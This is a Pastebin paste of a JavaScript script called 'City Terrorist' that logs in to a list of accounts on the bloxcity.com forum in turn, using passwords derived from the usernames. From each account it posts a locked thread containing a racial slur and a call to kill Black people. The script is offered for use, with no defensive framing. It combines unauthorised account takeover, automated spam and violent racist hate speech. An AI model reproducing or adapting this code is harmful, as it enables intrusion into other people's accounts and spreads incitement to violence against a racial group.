Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // City Terrorist
- // Made by DominusTrex.
- // @DominusTrex
- var forumID = '1' // ID of the forum.
- var threadTitle = 'lets kill some niggers' // Thread title
- var threadBody = 'get your bug sprays\n\n@DominusTrex' // Thread body.
- var threadLocked = 'true' // Thread locked.
- var accounts = ['a260859321', 'a253271329', 'a145676044', 'a146307391', 'a133684721', 'a117276947']
- var inc = 0
- function logout(){
- console.log(inc)
- var http = new XMLHttpRequest();
- var url="https://www.bloxcity.com/account/logout";
- var params="title=" + threadTitle + "&post=" + threadBody + "&locked=" + threadLocked +"&submit=";
- http.open("POST", url, true);
- http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- http.setRequestHeader("Content-length", params.length);
- http.setRequestHeader("Connection", "close");
- http.send(params);
- http.onload = function() {
- var password = "pass" + accounts[inc].substring(accounts[inc].length, 1)
- login(accounts[inc],password)
- if(accounts.length>=inc){
- inc=0
- }else{
- inc++
- }
- }
- };
- function send(){
- var http = new XMLHttpRequest();
- var url="https://www.bloxcity.com/forum/create/" + forumID;
- var params="csrf_token=hay&title=" + threadTitle + "&post=" + threadBody + "&submit=";
- http.open("POST", url, true);
- http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- http.setRequestHeader("Content-length", params.length);
- http.setRequestHeader("Connection", "close");
- http.send(params);
- http.onload = function() {
- logout()
- }
- };
- function login(u,p){
- var http = new XMLHttpRequest();
- var url="https://www.bloxcity.com/account/login";
- var params="csrf_token=hay&username=" + u + "&password=" + p + "&submit=";
- http.open("POST", url, true);
- http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- http.setRequestHeader("Content-length", params.length);
- http.setRequestHeader("Connection", "close");
- http.send(params);
- http.onload = function() {
- send()
- }
- };
- logout()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement